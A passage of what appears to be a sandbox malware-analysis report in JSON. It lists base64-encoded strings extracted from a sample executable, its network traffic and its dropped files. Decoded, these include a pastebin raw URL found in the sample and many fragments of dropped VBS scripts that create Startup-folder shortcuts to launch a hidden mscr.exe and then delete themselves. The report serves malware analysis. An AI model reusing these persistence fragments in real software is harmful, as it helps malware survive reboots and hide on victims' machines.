Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SEVBRCAvZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZSBIVFRQLzEuMUNvbm5lY3Rpb246IEtlZXAtQWxpdmVBY2NlcHQ6ICovKkFjY2VwdC1FbmNvZGluZzogaWRlbnRpdHlVc2VyLUFnZW50OiBNaWNyb3NvZnQgQklUUy83LjVYLU9sZC1VSUQ6IGNudD0wWC1MYXN0LUhSOiAweDgwMDQyMTk0WC1MYXN0LUhUVFAtU3RhdHVzLUNvZGU6IDQwNFgtUmV0cnktQ291bnQ6IDBYLUhUVFAtQXR0ZW1wdHM6IDNYLUdvb2dsZVVwZGF0ZS1JbnRlcmFjdGl2aXR5OiBiZ1gtR29vZ2xlVXBkYXRlLVVwZGF0ZXI6IE9tYWhhLTEuMy4zMi43SG9zdDogcmVkaXJlY3Rvci5ndnQxLmNvbQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SEVBRCAvZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMSBIVFRQLzEuMUNvbm5lY3Rpb246IEtlZXAtQWxpdmVBY2NlcHQ6ICovKkFjY2VwdC1FbmNvZGluZzogaWRlbnRpdHlVc2VyLUFnZW50OiBNaWNyb3NvZnQgQklUUy83LjVYLU9sZC1VSUQ6IGNudD0wWC1MYXN0LUhSOiAweDgwMDQyMTk0WC1MYXN0LUhUVFAtU3RhdHVzLUNvZGU6IDQwNFgtUmV0cnktQ291bnQ6IDBYLUhUVFAtQXR0ZW1wdHM6IDNYLUdvb2dsZVVwZGF0ZS1JbnRlcmFjdGl2aXR5OiBiZ1gtR29vZ2xlVXBkYXRlLVVwZGF0ZXI6IE9tYWhhLTEuMy4zMi43SG9zdDogcjYtLS1zbi01dWg1by1mNWZ6Lmd2dDEuY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SEVBRCAvZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMSZybT1zbi01dWg1by1mNWZ6N2QmZmV4cD0yMzcwMjUxMiZyZXFfaWQ9ODI2OThhY2ZhZTdhNDlmZCBIVFRQLzEuMUNvbm5lY3Rpb246IEtlZXAtQWxpdmVBY2NlcHQ6ICovKkFjY2VwdC1FbmNvZGluZzogaWRlbnRpdHlVc2VyLUFnZW50OiBNaWNyb3NvZnQgQklUUy83LjVYLU9sZC1VSUQ6IGNudD0wWC1MYXN0LUhSOiAweDgwMDQyMTk0WC1MYXN0LUhUVFAtU3RhdHVzLUNvZGU6IDQwNFgtUmV0cnktQ291bnQ6IDBYLUhUVFAtQXR0ZW1wdHM6IDNYLUdvb2dsZVVwZGF0ZS1JbnRlcmFjdGl2aXR5OiBiZ1gtR29vZ2xlVXBkYXRlLVVwZGF0ZXI6IE9tYWhhLTEuMy4zMi43SG9zdDogZGwuZ29vZ2xlLmNvbQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMzAyIEZvdW5kRGF0ZTogTW9uLCAxNiBPY3QgMjAxNyAxODoxMzozNiBHTVRQcmFnbWE6IG5vLWNhY2hlRXhwaXJlczogRnJpLCAwMSBKYW4gMTk5MCAwMDowMDowMCBHTVRDYWNoZS1Db250cm9sOiBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlTG9jYXRpb246IGh0dHA6Ly9yNi0tLXNuLTV1aDVvLWY1ZnouZ3Z0MS5jb20vZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMUNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04U2VydmVyOiBDbGllbnRNYXBTZXJ2ZXJDb250ZW50LUxlbmd0aDogNjQyWC1YU1MtUHJvdGVjdGlvbjogMTsgbW9kZT1ibG9ja1gtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMzAyIEZvdW5kTGFzdC1Nb2RpZmllZDogV2VkLCAwMiBNYXkgMjAwNyAxMDoyNjoxMCBHTVREYXRlOiBNb24sIDE2IE9jdCAyMDE3IDE4OjEzOjM4IEdNVEV4cGlyZXM6IE1vbiwgMTYgT2N0IDIwMTcgMTg6MTM6MzggR01UQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbWF4LWFnZT05MDBMb2NhdGlvbjogaHR0cDovL2RsLmdvb2dsZS5jb20vZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZT9jbXNfcmVkaXJlY3Q9eWVzJmV4cGlyZT0xNTA4MTkyMDE2JmlwPTE5My43MC40Ny4yMDAmaXBiaXRzPTAmbW09MjgmbW49c24tNXVoNW8tZjVmeiZtcz1udmgmbXQ9MTUwODE3NzQwOSZtdj11JnBsPTI0JnNoYXJkYnlwYXNzPXllcyZzcGFyYW1zPWV4cGlyZSxpcCxpcGJpdHMsbW0sbW4sbXMsbXYscGwsc2hhcmRieXBhc3Mmc2lnbmF0dXJlPTQwRUM3MDg1OTIzQzlCMDg5Q0JGODk5QTRCRTU0N0MzNzA5NzYxOUQuNDM4NjNFMzNFQjk2RTkzRUJGQTNDMDBCMkIyMjNFNDM1RkVERkExNyZrZXk9Y21zMSZybT1zbi01dWg1by1mNWZ6N2QmZmV4cD0yMzcwMjUxMiZyZXFfaWQ9ODI2OThhY2ZhZTdhNDlmZENvbnRlbnQtTGVuZ3RoOiAwQ29ubmVjdGlvbjogY2xvc2VYLUNvbnRlbnQtVHlwZS1PcHRpb25zOiBub3NuaWZmQ29udGVudC1UeXBlOiB0ZXh0L2h0bWxTZXJ2ZXI6IGd2cyAxLjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgNDA0IE5vdCBGb3VuZENvbnRlbnQtTGVuZ3RoOiAxNDQ5Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLThTZXJ2ZXI6IGRvd25sb2Fkc1gtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmZYLUZyYW1lLU9wdGlvbnM6IFNBTUVPUklHSU5YLVhzcy1Qcm90ZWN0aW9uOiAxOyBtb2RlPWJsb2NrRGF0ZTogTW9uLCAxNiBPY3QgMjAxNyAxODoxMzozOSBHTVQ=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AuY29tb2RvY2E0LmNvbTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AuY29tb2RvY2E0LmNvbTBE","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AudXNlcnRydXN0LmNvbTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1gwYkN3c1Iz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":0,"total":64},{"value":"aHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"SURpc3Bvc2FibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1lcmFibGVgMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJuYWxOYW1l","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SW50cmFuZXROYW1l","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aXNBbHBoYU51bWVyaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNJbnN0YWxsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SXNMZXR0ZXJPckRpZ2l0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNTaW1pbGFy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNWYWxpZEFkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2VMaXN0","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxDb3B5cmlnaHQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxUcmFkZW1hcmtz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9ICIvayBzdGFydCAiIiIiICIi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9ICIvayBzdGFydCAiIiIiICIiJUFQUERBVEElXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiIg==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9IFwiL2sgc3RhcnQgXCJcIlwiXCIgXCJcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlNhdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlRhcmdldFBhdGggPSBcImNtZC5leGVcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLldpbmRvd1N0eWxlID0gIjci","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLldpbmRvd1N0eWxlID0gXCI3XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bWFrZVN0YXJ0dXBTaG9ydGN1dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"TWF4RmlsZVNpemU=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zb2Z0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bXNjb3JlZS5kbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T3JpZ2luYWxGaWxlbmFtZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UF9fX19fX29fdj9KX19fP19fYw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"cGFzdGViaW4uY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"cGFzdGViaW4uY29tMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UGJ9Q2ZEejQv","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UG9zaXRpdmVTU0wgTXVsdGktRG9tYWluMSQwIg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc1N0YXJ0SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdE5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlCeXBhc3M=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UFNQVUJXUy1QQw==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEFsbFRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2VydmljZXNBY3RpdmU=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTA0ODkyNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1990457.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTA1NTc3MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1352268.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTIyMzAxMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7434561.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTMwMDk0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8245793.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTQ1MjAzMy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1581107.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTU2NjAzMy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1095315.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTcyMjA5My5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8192529.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTg0NjQyLmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3077130.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTkyNjY4MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295063.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTk5NjUxNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjI4MjU0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3197659.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjUyNzEwOS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8790147.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjY4NTY1Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2788310.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzAzMTE2NC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3330015.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzIzMjYyNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5382966.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzM2NzE0Ny5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2144209.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzM4NjAwNy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup124481.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzQ5MTUwNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3019309.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzQ5MzE1OS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup276877.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzU1OTI3Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7944398.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzYyNzA0MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2879488.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzgzMzY5NC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7036682.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDM5NzY0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2031697.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDU1NTM0LmxuayIp","type":"Ansi","source":"Dropped 